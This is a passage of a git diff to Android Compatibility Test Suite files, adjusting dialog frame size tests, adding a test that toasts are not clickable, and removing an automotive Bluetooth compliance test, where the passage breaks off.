     private void testExplicitSizeTopLeftGravity() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.gravity = Gravity.TOP | Gravity.LEFT;
         });
     }
 
     private void testExplicitSizeBottomRightGravity() {
         doLayoutParamTest(params -> {
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
         });
     }
@@ -214,15 +209,10 @@
             params.gravity = Gravity.LEFT | Gravity.TOP;
             params.horizontalMargin = .10f;
             params.verticalMargin = .15f;
-            params.width = mSize;
-            params.height = mSize;
+            params.width = 200;
+            params.height = 200;
             params.x = 0;
             params.y = 0;
         });
     }
-    
-    private int getSize() {
-        float density = getResources().getDisplayMetrics().density;
-        return (int)(146 * density);
-    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 26beb96..79e64ea 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -35,7 +35,6 @@
 import static org.junit.Assert.assertEquals;
 
 import android.content.ComponentName;
-import android.content.pm.PackageManager;
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.server.am.WaitForValidActivityState;
@@ -48,7 +47,6 @@
 import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
-import org.junit.Before;
 
 import java.util.List;
 
@@ -69,18 +67,6 @@
             new ActivityTestRule<>(DialogFrameTestActivity.class, false /* initialTOuchMode */,
                     false /* launchActivity */);
 
-    @Before
-    public void setUp() {
-        try {
-            super.setUp();
-        } catch (Exception ex) {
-        }
-        PackageManager packageManager = InstrumentationRegistry.getContext().getPackageManager();
-        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            mSize = getSize();
-        }
-    }
-    
     @Override
     ComponentName activityName() {
         return DIALOG_FRAME_TEST_ACTIVITY;
@@ -131,7 +117,6 @@
     }
 
     private static final int explicitDimension = 200;
-    private int mSize = explicitDimension;
 
     // The default gravity for dialogs should center them.
     @Test
@@ -139,10 +124,10 @@
         doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
             Rect contentFrame = parent.getContentFrame();
             Rect expectedFrame = new Rect(
-                    contentFrame.left + (contentFrame.width() - mSize) / 2,
-                    contentFrame.top + (contentFrame.height() - mSize) / 2,
-                    contentFrame.left + (contentFrame.width() + mSize) / 2,
-                    contentFrame.top + (contentFrame.height() + mSize) / 2);
+                    contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+                    contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+                    contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+                    contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -154,8 +139,8 @@
             Rect expectedFrame = new Rect(
                     contentFrame.left,
                     contentFrame.top,
-                    contentFrame.left + mSize,
-                    contentFrame.top + mSize);
+                    contentFrame.left + explicitDimension,
+                    contentFrame.top + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -165,8 +150,8 @@
         doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
             Rect contentFrame = parent.getContentFrame();
             Rect expectedFrame = new Rect(
-                    contentFrame.left + contentFrame.width() - mSize,
-                    contentFrame.top + contentFrame.height() - mSize,
+                    contentFrame.left + contentFrame.width() - explicitDimension,
+                    contentFrame.top + contentFrame.height() - explicitDimension,
                     contentFrame.left + contentFrame.width(),
                     contentFrame.top + contentFrame.height());
             assertEquals(expectedFrame, dialog.getFrame());
@@ -251,8 +236,8 @@
             Rect expectedFrame = new Rect(
                     (int) (horizontalMargin * frame.width() + frame.left),
                     (int) (verticalMargin * frame.height() + frame.top),
-                    (int) (horizontalMargin * frame.width() + frame.left) + mSize,
-                    (int) (verticalMargin * frame.height() + frame.top) + mSize);            
+                    (int) (horizontalMargin * frame.width() + frame.left) + explicitDimension,
+                    (int) (verticalMargin * frame.height() + frame.top) + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -266,10 +251,4 @@
                 assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
         );
     }
-    
-    private int getSize() {
-        float density =
-                InstrumentationRegistry.getContext().getResources().getDisplayMetrics().density;
-        return (int)(146 * density);
-    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
new file mode 100644
index 0000000..cd3df94
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ToastTest.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import android.content.ComponentName;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.WindowManagerState.WindowState;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.WindowManager.LayoutParams;
+import com.android.compatibility.common.util.CtsTouchUtils;
+import android.graphics.Rect;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.annotation.Nullable;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+@Presubmit
+public class ToastTest extends ActivityManagerTestBase {
+    private static final String SETTING_HIDDEN_API_POLICY = "hidden_api_policy";
+    private static final long TOAST_DISPLAY_TIMEOUT_MS = 8000;
+    private static final long TOAST_TAP_TIMEOUT_MS = 3500;
+
+    protected static final int[] ALL_ACTIVITY_TYPE_BUT_HOME = {
+            ACTIVITY_TYPE_STANDARD, ACTIVITY_TYPE_ASSISTANT, ACTIVITY_TYPE_RECENTS,
+            ACTIVITY_TYPE_UNDEFINED
+    };
+
+    private static final String ACTION_TOAST_DISPLAYED = "toast_displayed";
+    private static final String ACTION_TOAST_TAP_DETECTED = "toast_tap_detected";
+    private static final String APP_PACKAGE = "android.server.am";
+    private static final ComponentName TOAST_RECEIVER =
+            ComponentName.createRelative(APP_PACKAGE, ".ToastReceiver");
+
+    private Context mContext;
+    private ActivityManager mAm;
+
+    /**
+     * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+     * is long and it takes some time to process the broadcast we just sent.
+     */
+    private static final long BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
+    @Nullable
+    private String mPreviousHiddenApiPolicy;
+    private Map<String, ConditionVariable> mBroadcastsReceived;
+
+    private BroadcastReceiver mAppCommunicator = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+             getBroadcastReceivedVariable(intent.getAction()).open();
+        }
+    };
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
+        mAm = mContext.getSystemService(ActivityManager.class);
+
+        mPreviousHiddenApiPolicy = executeShellCommand(
+                "settings get global hidden_api_policy_p_apps");
+        executeShellCommand("settings put global hidden_api_policy_p_apps 0");
+        // Stopping just in case, to make sure reflection is allowed
+        stopTestPackage(TOAST_RECEIVER);
+
+        // These are parallel broadcasts, not affected by a busy queue
+        mBroadcastsReceived = Collections.synchronizedMap(new HashMap<>());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ACTION_TOAST_DISPLAYED);
+        filter.addAction(ACTION_TOAST_TAP_DETECTED);
+        mContext.registerReceiver(mAppCommunicator, filter);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mAppCommunicator);
+        executeShellCommand("settings put global hidden_api_policy_p_apps " + mPreviousHiddenApiPolicy);
+    }
+
+    @Test
+    public void testToastIsNotClickable() {
+        Intent intent = new Intent();
+        intent.setComponent(TOAST_RECEIVER);
+        sendAndWaitForBroadcast(intent);
+        boolean toastDisplayed = getBroadcastReceivedVariable(ACTION_TOAST_DISPLAYED).block(
+                TOAST_DISPLAY_TIMEOUT_MS);
+        assertTrue("Toast not displayed on time", toastDisplayed);
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        WindowState toastWindow = wmState.findFirstWindowWithType(LayoutParams.TYPE_TOAST);
+        assertNotNull("Couldn't retrieve toast window", toastWindow);
+
+        tapOnCenter(toastWindow.getContainingFrame(), toastWindow.getDisplayId());
+
+        boolean toastClicked = getBroadcastReceivedVariable(ACTION_TOAST_TAP_DETECTED).block(
+                TOAST_TAP_TIMEOUT_MS);
+        assertFalse("Toast tap detected", toastClicked);
+    }
+
+    private void tapOnCenter(Rect bounds, int displayId) {
+        final int x = bounds.left + bounds.width() / 2;
+        final int y = bounds.top + bounds.height() / 2;
+        long downTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, downTime, MotionEvent.ACTION_DOWN, x, y);
+        long upTime = SystemClock.uptimeMillis();
+        injectMotion(downTime, upTime, MotionEvent.ACTION_DOWN, x, y);
+    }
+
+    private static void injectMotion(long downTime, long eventTime, int action, int x, int y) {
+        final MotionEvent event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().injectInputEvent(event, true);
+    }
+
+    private void sendAndWaitForBroadcast(Intent intent) {
+        assertNotEquals("Can't wait on main thread", Thread.currentThread(),
+                Looper.getMainLooper().getThread());
+
+        ConditionVariable broadcastDelivered = new ConditionVariable(false);
+        mContext.sendOrderedBroadcast(
+                intent,
+                null,
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        broadcastDelivered.open();
+                    }
+                },
+                new Handler(Looper.getMainLooper()),
+                Activity.RESULT_OK,
+                null,
+                null);
+        broadcastDelivered.block(BROADCAST_DELIVERY_TIMEOUT_MS);
+    }
+
+    private ConditionVariable getBroadcastReceivedVariable(String action) {
+        return mBroadcastsReceived.computeIfAbsent(action, key -> new ConditionVariable());
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
old mode 100755
new mode 100644
index 63cda8b..35d48df
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -25,7 +25,6 @@
 import android.os.Build;
 
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
 
 /**
  * Checks if Hifi sensors  or VR High performance mode sensors
@@ -60,34 +59,29 @@
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometer() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
-    public void testSupportsAccelerometerUncalibrated() { 
+    public void testSupportsAccelerometerUncalibrated() {
+        // Uncalibrated accelerometer was not required before Android O
         if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
             checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscope() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscopeUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGeoMagneticField() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
-    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsMagneticFieldUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
     }
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index c9c2a60..7d90a6e 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
 include $(BUILD_SYSTEM)/base_rules.mk
 $$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
 	@echo "Convert API file $$< -> $$@"
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index f2dcda8..6c7aace 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -23,21 +23,6 @@
     Bug: 78574873 android.intent.action.INSTALL_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
-    Bug: 115799975 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
-         Will be removed after v17 of CS.apk is released.
-    Bug: 117590943 android.intent.action.View
-         Fixed in GMSCore v14.7.68.
-    Bug: 67109014 android.intent.action.BADGE_COUNT_UPDATE // Samsung is sending
-    //new corrected intent and the old intent in P.
-    //Target date for fix is under disucssion for BADGE_COUNT_UPDATE
-    Bug: 128424060 android.intent.action.TIMELINE_POST_VISIT_BADGE //
-    //Maps(version: 10.11.1~10.13) was sending this intent and
-    //from version 10.14 newer intent 'com.google.android.apps.gmm.TIMELINE_POST_VISIT_BADGE'
-    //is being sent.
-    Bug: 129348724 android.intent.action.DEFINE (public in API 29)
-    Bug: 129348724 android.intent.action.TRANSLATE (public in API 29)
-    Bug: 150153196 android.intent.action.LOAD_DATA (system in API 30)
-    Bug: 150153196 android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY (system in API 30)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -49,13 +34,5 @@
       <value>android.intent.action.INSTALL_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
-      <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
-      <value>android.intent.action.View</value>
-      <value>android.intent.action.BADGE_COUNT_UPDATE</value>
-      <value>android.intent.action.TIMELINE_POST_VISIT_BADGE</value>
-      <value>android.intent.action.DEFINE</value>
-      <value>android.intent.action.TRANSLATE</value>
-      <value>android.intent.action.LOAD_DATA</value>
-      <value>android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index b94f9db..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -79,9 +79,8 @@
     private boolean isIntentSupported(TestcaseType testCaseType) {
         final PackageManager manager = mContext.getPackageManager();
         assertNotNull(manager);
-        // If TV or Automotive, then not supported.
-        if (manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY) ||
-                manager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+        // If TV then not supported.
+        if (manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
             return false;
         }
         Intent intent;
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 3fa0948..2bb7dee 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -90,10 +90,10 @@
     }
 
     private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget grantbind --package android.appwidget.cts --user %d";
+            "appwidget grantbind --package android.appwidget.cts --user 0";
 
     private static final String REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget revokebind --package android.appwidget.cts --user %d";
+            "appwidget revokebind --package android.appwidget.cts --user 0";
 
     @AppModeInstant(reason = "Instant apps cannot provide or host app widgets")
     @Test
@@ -1344,13 +1344,11 @@
     }
 
     private void grantBindAppWidgetPermission() throws Exception {
-        runShellCommand(String.format(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND,
-                Process.myUserHandle().getIdentifier()));
+        runShellCommand(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
     }
 
     private void revokeBindAppWidgetPermission() throws Exception {
-        runShellCommand(String.format(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND,
-                Process.myUserHandle().getIdentifier()));
+        runShellCommand(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
     }
 
     private AppWidgetProviderInfo getFirstAppWidgetProviderInfo() {
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index a951fc0..139cd68 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -58,7 +58,7 @@
      * receiver.
      */
     @Test
-    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
+    @CddTest(requirement="3.5/C-0-6")
     public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
 
         // Need a reference here to initialize it in a lambda.
@@ -86,7 +86,7 @@
      */
     @AppModeFull(reason = "Instant apps don't get to run in the background.")
     @Test
-    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
+    @CddTest(requirement="3.5/C-0-6")
     public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
         // Need a reference here to initialize it in a lambda.
         final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
index cbfaca9..e7f0c62 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java
@@ -15,7 +15,6 @@
  */
 package android.os.cts.batterysaving;
 
-import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver;
 import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset;
 import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen;
 import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat;
@@ -70,7 +69,6 @@
 
         @Override
         protected void onAfter(Statement base, Description description) throws Throwable {
-            enableBatterySaver(false);
             runDumpsysBatteryReset();
             turnOnScreen(true);
         }
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 6399af5..f1df507 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.car.permission.CAR_INFO" />
     <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
     <uses-permission android:name="android.car.permission.CAR_SPEED" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
     <application>
         <uses-library android:name="android.test.runner" />
         <activity android:name=".drivingstate.DistractionOptimizedActivity">
diff --git a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java b/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
deleted file mode 100644
index ac12ce4..0000000
--- a/tests/tests/car/src/android/car/cts/CarBluetoothTest.java
+++ /dev/null
@@ -1,365 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.car.cts;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothManager;
-import android.bluetooth.BluetoothProfile;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.util.Log;
-import android.util.SparseArray;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.FeatureUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
-
-/**
- * Contains the tests to prove compliance with android automotive specific bluetooth requirements.
- */
-@SmallTest
-@RequiresDevice
-@RunWith(AndroidJUnit4.class)
-public class CarBluetoothTest {
-    private static final String TAG = "CarBluetoothTest";
-    private static final boolean DBG = false;
-    private Context mContext;
-
-    // Bluetooth Core objects
-    private BluetoothManager mBluetoothManager;
-    private BluetoothAdapter mBluetoothAdapter;
-
-    // Timeout for waiting for an adapter state change
-    private static final int BT_ADAPTER_TIMEOUT_MS = 8000; // ms
-
-    // Objects to block until the adapter has reached a desired state
-    private ReentrantLock mBluetoothAdapterLock;
-    private Condition mConditionAdapterStateReached;
-    private int mDesiredState;
-    private int mOriginalState;
-
-    /**
-     * Handles BluetoothAdapter state changes and signals when we've reached a desired state
-     */
-    private class BluetoothAdapterReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-
-            // Decode the intent
-            String action = intent.getAction();
-
-            // Watch for BluetoothAdapter intents only
-            if (BluetoothAdapter.ACTION_STATE_CHANGED.equals(action)) {
-                int newState = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
-                if (DBG) {
-                    Log.d(TAG, "Bluetooth adapter state changed: " + newState);
-                }
-
-                // Signal if the state is set to the one we're waiting on. If its not and we got a
-                // STATE_OFF event then handle the unexpected off event. Note that we could
-                // proactively turn the adapter back on to continue testing. For now we'll just
-                // log it
-                mBluetoothAdapterLock.lock();
-                try {
-                    if (mDesiredState == newState) {
-                        mConditionAdapterStateReached.signal();
-                    } else if (newState == BluetoothAdapter.STATE_OFF) {
-                        Log.w(TAG, "Bluetooth turned off unexpectedly while test was running.");
-                    }
-                } finally {
-                    mBluetoothAdapterLock.unlock();
-                }
-            }
-        }
-    }
-    private BluetoothAdapterReceiver mBluetoothAdapterReceiver;
-
-    private void waitForAdapterOn() {
-        if (DBG) {
-            Log.d(TAG, "Waiting for adapter to be on...");
-        }
-        waitForAdapterState(BluetoothAdapter.STATE_ON);
-    }
-
-    private void waitForAdapterOff() {
-        if (DBG) {
-            Log.d(TAG, "Waiting for adapter to be off...");
-        }
-        waitForAdapterState(BluetoothAdapter.STATE_OFF);
-    }
-
-    // Wait for the bluetooth adapter to be in a given state
-    private void waitForAdapterState(int desiredState) {
-        if (DBG) {
-            Log.d(TAG, "Waiting for adapter state " + desiredState);
-        }
-        mBluetoothAdapterLock.lock();
-        try {
-            // Update the desired state so that we'll signal when we get there
-            mDesiredState = desiredState;
-            if (desiredState == BluetoothAdapter.STATE_ON) {
-                mBluetoothAdapter.enable();
-            } else {
-                mBluetoothAdapter.disable();
-            }
-
-            // Wait until we're reached that desired state
-            while (desiredState != mBluetoothAdapter.getState()) {
-                if (!mConditionAdapterStateReached.await(
-                    BT_ADAPTER_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                    Log.e(TAG, "Timeout while waiting for Bluetooth adapter state " + desiredState);
-                    break;
-                }
-            }
-        } catch (InterruptedException e) {
-            Log.w(TAG, "waitForAdapterState(" + desiredState + "): interrupted", e);
-        } finally {
-            mBluetoothAdapterLock.unlock();
-        }
-    }
-
-    // Utility class to hold profile information and state
-    private static class ProfileInfo {
-        final String mName;
-        boolean mConnected;
-
-        public ProfileInfo(String name) {
-            mName = name;
-            mConnected = false;
-        }
-    }
-
-    // Automotive required profiles and meta data. Profile defaults to 'not connected' and name
-    // is used in debug and error messages
-    private static SparseArray<ProfileInfo> sRequiredBluetoothProfiles = new SparseArray();
-    static {
-        sRequiredBluetoothProfiles.put(BluetoothProfile.A2DP_SINK,
-                new ProfileInfo("A2DP Sink")); // 11
-        sRequiredBluetoothProfiles.put(BluetoothProfile.AVRCP_CONTROLLER,
-                new ProfileInfo("AVRCP Controller")); // 12
-        sRequiredBluetoothProfiles.put(BluetoothProfile.HEADSET_CLIENT,
-                new ProfileInfo("HSP Client")); // 16
-        sRequiredBluetoothProfiles.put(BluetoothProfile.PBAP_CLIENT,
-                new ProfileInfo("PBAP Client")); // 17
-    }
-    private static final int MAX_PROFILES_SUPPORTED = sRequiredBluetoothProfiles.size();
-
-    // Configurable timeout for waiting for profile proxies to connect
-    private static final int PROXY_CONNECTIONS_TIMEOUT_MS = 1000; // ms
-
-    // Objects to block until all profile proxy connections have finished, or the timeout occurs
-    private Condition mConditionAllProfilesConnected;
-    private ReentrantLock mProfileConnectedLock;
-    private int mProfilesSupported;
-
-    // Capture profile proxy connection events
-    private final class ProfileServiceListener implements BluetoothProfile.ServiceListener {
-        @Override
-        public void onServiceConnected(int profile, BluetoothProfile proxy) {
-            if (DBG) {
-                Log.d(TAG, "Profile '" + profile + "' has connected");
-            }
-            mProfileConnectedLock.lock();
-            try {
-                sRequiredBluetoothProfiles.get(profile).mConnected = true;
-                mProfilesSupported++;
-                if (mProfilesSupported == MAX_PROFILES_SUPPORTED) {
-                    mConditionAllProfilesConnected.signal();
-                }
-            } finally {
-                mProfileConnectedLock.unlock();
-            }
-        }
-
-        @Override
-        public void onServiceDisconnected(int profile) {
-            if (DBG) {
-                Log.d(TAG, "Profile '" + profile + "' has disconnected");
-            }
-            mProfileConnectedLock.lock();
-            try {
-                sRequiredBluetoothProfiles.get(profile).mConnected = false;
-                mProfilesSupported--;
-            } finally {
-                mProfileConnectedLock.unlock();
-            }
-        }
-    }
-
-    // Initiate connections to all profiles and wait until we connect to all, or time out
-    private void waitForProfileConnections() {
-        if (DBG) {
-            Log.d(TAG, "Starting profile proxy connections...");
-        }
-        mProfileConnectedLock.lock();
-        try {
-            // Attempt connection to each required profile
-            for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
-                int profile = sRequiredBluetoothProfiles.keyAt(i);
-                mBluetoothAdapter.getProfileProxy(mContext, new ProfileServiceListener(), profile);
-            }
-
-            // Wait for the Adapter to be disabled
-            while (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
-                if (!mConditionAllProfilesConnected.await(
-                    PROXY_CONNECTIONS_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                    Log.e(TAG, "Timeout while waiting for Profile Connections");
-                    break;
-                }
-            }
-        } catch (InterruptedException e) {
-            Log.w(TAG, "waitForProfileConnections: interrupted", e);
-        } finally {
-            mProfileConnectedLock.unlock();
-        }
-
-        if (DBG) {
-            Log.d(TAG, "Proxy connection attempts complete. Connected " + mProfilesSupported
-                    + "/" + MAX_PROFILES_SUPPORTED + " profiles");
-        }
-    }
-
-    // Check and make sure each profile is connected. If any are not supported then build an
-    // error string to report each missing profile and assert a failure
-    private void checkProfileConnections() {
-        if (DBG) {
-            Log.d(TAG, "Checking for all required profiles");
-        }
-        mProfileConnectedLock.lock();
-        try {
-            if (mProfilesSupported != MAX_PROFILES_SUPPORTED) {
-                if (DBG) {
-                    Log.d(TAG, "Some profiles failed to connect");
-                }
-                StringBuilder e = new StringBuilder();
-                for (int i = 0; i < sRequiredBluetoothProfiles.size(); i++) {
